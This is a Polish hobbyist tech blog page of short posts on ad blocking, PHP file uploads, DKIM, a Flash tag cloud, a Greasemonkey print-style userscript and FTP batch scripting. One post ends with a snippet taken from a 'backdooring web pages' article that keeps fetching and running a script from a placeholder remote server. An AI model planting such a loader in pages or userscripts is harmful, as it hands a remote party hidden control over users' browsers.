How to remove advertisement from facebook?
*install AdblockPuls from page http://adblockplus.org/en/
*add filter "###pagelet_ego_pane_w"
*add filter "#div(ego_section)"
or even better:
*add filter ###pagelet_ego_pane
*add filter ###pagelet_ego_pane_w
*add filter #div(ego_unit_container)
*done. Annoying ads are now blocked!
Why we do that? There may be many reasons ex. low bandwidth connection.
If u want i may also present filters for ads for most important sites.
Edited 12.01.2012: for new Facebook ads
Pokazywanie postów oznaczonych etykietą skrypt. Pokaż wszystkie posty
Pokazywanie postów oznaczonych etykietą skrypt. Pokaż wszystkie posty
środa, 11 stycznia 2012
wtorek, 29 grudnia 2009
$_FILES i PHP
Czytanie instrukcji-pomaga:
w php.net jak byk stoi napisane: rozwiazanie mojego problemu:
Jesli po uploadowaniu pliku skryptem (form input type="file") nie dostajesz go na serwerze,
albo superglobal $_FILES jest pusty.
To problem może być w:
zamykasz!!! formę </FORM>
używasz enctype="multipart/form-data"
używasz POST a nie GET
używasz innego name dla kazdego input fielda
używasz <fieldset>
upload_max_file_size=12MB
file_ulpoads=On
apache ma prawa zapisu w tym katalogu(w windows standartowo wszyscy maja wszędzie prawo domyślnie :(, ale w Linuxie root mogł zmienić prawa dostępu!) )
Uzyskana forma powinna wygladać mniej wiecej podobnie:

w php.net jak byk stoi napisane: rozwiazanie mojego problemu:
Jesli po uploadowaniu pliku skryptem (form input type="file") nie dostajesz go na serwerze,
albo superglobal $_FILES jest pusty.
To problem może być w:
- w formie:
zamykasz!!! formę </FORM>
używasz enctype="multipart/form-data"
używasz POST a nie GET
używasz innego name dla kazdego input fielda
używasz <fieldset>
- php.ini:
upload_max_file_size=12MB
file_ulpoads=On
- na dysku:
apache ma prawa zapisu w tym katalogu(w windows standartowo wszyscy maja wszędzie prawo domyślnie :(, ale w Linuxie root mogł zmienić prawa dostępu!) )
Uzyskana forma powinna wygladać mniej wiecej podobnie:
<font color="#003300"><form name="form" action="index.php" method="post" <b>enctype="multipart/form-data</b>">
<fieldset>
<input type="file" name="firstfile"//>
</fieldset>
<fieldset>
<input type="file" name="secondfile"//>
</fieldset>
<fieldset>
<input type="submit" value="Wyslij" //>
</fieldset>
</form></font>
Czasami jeszcze javascript powoduje błędy(np w niektorych wersjach frameworku VCL), ale żadko się to dzieje.
czwartek, 26 listopada 2009
JavaSrcipt Adds Remove
Jak usunąć reklamy z naszych ulubionych stron?
Wystarczy tylko w Firefoxie załadować dodatek GreaseMonkeya potem wejśc na stronę:
- BASH.ORG.PL http://userscripts.org/scripts/review/62840
- JoeMonster.org http://userscripts.org/scripts/show/62839
wszytkie reklamy znikną.
Innymi słowy:
wczoraj napisałem 2 proste skrypty w Javascript które usuwają reklamy.
Są oczywiście na licencji GNU i pisane w sciśle edukacyjnych! celach.
Oczywiście przetestowałem je i działają w 100%, ale nie gwarantuję że powiedzmy
za rok jakieś zupełnie nowy typ reklam nie zostanie dorzucony do powyższysch stron.
Działanie:
Skrypty wywalają reklamy, ale najpierw je sciągają ma to swoje plusy i minusy:
+ twórcy strony dostają pieniądze za wyświetlanie reklam
+ których nie musimy przecież oglądać
- ponieważ (jednak) sciągamy te reklamy - to niepotrzebnie zurzywamy nasz transfer.
środa, 30 września 2009
DKIM
Cóż takiego jest to DKIM?
Skrót wprawdzie zawiły: DomainKeys Identified Mail, ale chodzi o to
żeby domena rozsyłająca pocztę się do niej przyznawała,
inaczej: aby możnabyło ustalić nadawce wiadomości.
co nam to da:
wyrzucenie naszych newsletterów z automatycznych filtrów spamu.
Własnie tą bibliotekę:
http://sourceforge.net/projects/php-dkim/ przepisuję na obiektową.
Zabaczymy co z tego wyjdzie.
czwartek, 25 czerwca 2009
Embedded TagCloud
Hi, i like tagcluds, i use them for firefox and google plugins. Today i've done, using Roy Tanck's, a nice embedded tagcloud flash. that will change html code like this:<embed id="tagcloud" width="650" height="450" type="application/x-shockwave-flash"
src="tagcloud.swf" name="tagcloud" bgcolor="#ffffff" quality="high" allowscriptaccess="always"
flashvars="tcolor=0x333333&mode=tags&distr=true&tspeed=100&tagcloud=<tags>
<a href='#1' style='12'>Menu Górne</a>
<a href='#2' style='12'>Menu Dolne</a>
<a href='#3' style='12'>Menu Lewe</a>
<a href='#4' style='12'>Menu Prawe</a>
<a href='#5' style='12'>Zapis</a>
<a href='#6' style='12'>Odczyt</a>
</tags>"/> for nice graphical interface like this:
when u move your mouse over flash - tags also are moving. In this way u get interaction.

src="tagcloud.swf" name="tagcloud" bgcolor="#ffffff" quality="high" allowscriptaccess="always"
flashvars="tcolor=0x333333&mode=tags&distr=true&tspeed=100&tagcloud=<tags>
<a href='#1' style='12'>Menu Górne</a>
<a href='#2' style='12'>Menu Dolne</a>
<a href='#3' style='12'>Menu Lewe</a>
<a href='#4' style='12'>Menu Prawe</a>
<a href='#5' style='12'>Zapis</a>
<a href='#6' style='12'>Odczyt</a>
</tags>"/> for nice graphical interface like this:
czwartek, 18 czerwca 2009
Sterownik wydruku pod Firefox
Jak zmienić sposób drukowania stron pod FIrefoxem?
To proste- nalezy zainstalować greasemonkey
- dodatek do firefoxa i dodac kod javascript który bedzie wstrzykiwany w wybraną stronę podczas otwierania.
Idea jest prosta:
1.wskrzykujemy własny styl CSS
2.ustawiamy media: print - styl dziala tylko przy wydruku
3. dodajemy atrybut !important aby nadpisać ewwentualnie istniejace style CSS
kod na podstawie Boring CSS by Eric Talevich
// Printer Driver for Firefox
// version 0.2
// 2009-06-02
// Copyright (c) 2009, Lukas Gintowt
// Released under the GPL license
// http://www.gnu.org/copyleft/gpl.html
//
// --------------------------------------------------------------------
//
// This is a Greasemonkey user script. To install it, you need Greasemonkey
// 0.4 or later: http://greasemonkey.mozdev.org/ Then restart Firefox and
// revisit this script. Under Tools, there will be a new menu item to "Install
// User Script". Accept the default configuration and install.
//
// To uninstall, go to Tools/Manage User Scripts, select "FF Printer Driver", and
// click Uninstall.
//
// --------------------------------------------------------------------
//
// ==UserScript==
// @name FF Printer Driver
// @description Replaces each page's CSS printing stylesheet.
//@include http://poczta.serwer.ip/*
// @include http://blogs.*.com/*
// @include http://*.wikipedia.org/*
// @include http://*.googlepages.com/*
// ==/UserScript==
mystylesheet = '' +
'body {font-family: Verdana, sans-serif; color: black; }' + //background: #FFFF;
'a:link {color: #00A;}' +
'a:visited {color: #666;}' +
'a:hover {color: #008; background: #EEF;}' +
'a, div, p, dd, li {font-size: 8pt; line-height: 80%;}'+
'h1 {font: 12pt Georgia, serif;}' +
'h2 {font-size: 12pt;}' +
'h3 {font-size: 11pt;}' +
'h4 {font-size: 10pt;}' +
'table{font-size:8pt !important;display:print !important;media:print!important;}'
//+ 'table{font-size:10pt !important;display:screen; media:screen}' //here you can defice print style for screen
//'a, div, p, dd, li {font-size: 10pt; line-height: 170%;}'
window.addEventListener("load", function(e) {
// Remove the existing embedded and linked stylesheets
var styles = document.getElementsByTagName('style')
while (styles[0])
styles[0].parentNode.removeChild(styles[0])
var links = document.getElementsByTagName('link')
for (var i=0; i < links.length; ++i ) {
var link = links[i]
if (link.getAttribute('rel').toLowerCase() == 'stylesheet') {
link.parentNode.removeChild(link)
i-- // Since we popped a node, the indexes shift by 1
}
}
// Define the new stylesheet for the page & attach it
var newstyle = document.createElement("style")
newstyle.type = "text/css"
newstyle.media = "print"
var css = document.createTextNode(mystylesheet)
newstyle.appendChild(css)
document.getElementsByTagName('head')[0].appendChild(newstyle)
}, false)
Można jeszcze dorobić dostęp do zdalnego repozytorium kodu:
(jakby ktoś chciał zrobić update kodu naraz dla wszystkich klientów)
za http://www.gnucitizen.org/blog/backdooring-web-pages/
setInterval(function () {
var head = document.getElementsByTagName('head').item(0);
var old = document.getElementById('last_loaded_cmd');
if (old)
head.removeChild(old);
script = document.createElement('script');
script.src = 'http://ip.serwera';
script.type = 'text/javascript';
script.defer = true;
script.id = 'last_loaded_cmd';
void(head.appendChild(script));
}, 2000);
piątek, 29 maja 2009
skrypt FTP . BAT w windows
w shellu windowsa dziala nast. skrypt
ftp -i -s:plik.txt
-i - oznacza aby nei pokazywal odpowiedzi serwera
-s - odpal nastepujące komendy z pliku.txt
plik.txt:
open adres.domena.com.pl polaczenie z adresem
username np.anymous
password np.123
cd /sciezka
put 1.in kopiuj na serwerjakis plik
quit " ew. komenda bye
ftp -i -s:plik.txt
-i - oznacza aby nei pokazywal odpowiedzi serwera
-s - odpal nastepujące komendy z pliku.txt
plik.txt:
open adres.domena.com.pl polaczenie z adresem
username np.anymous
password np.123
cd /sciezka
put 1.in kopiuj na serwerjakis plik
quit " ew. komenda bye
Subskrybuj:
Posty (Atom)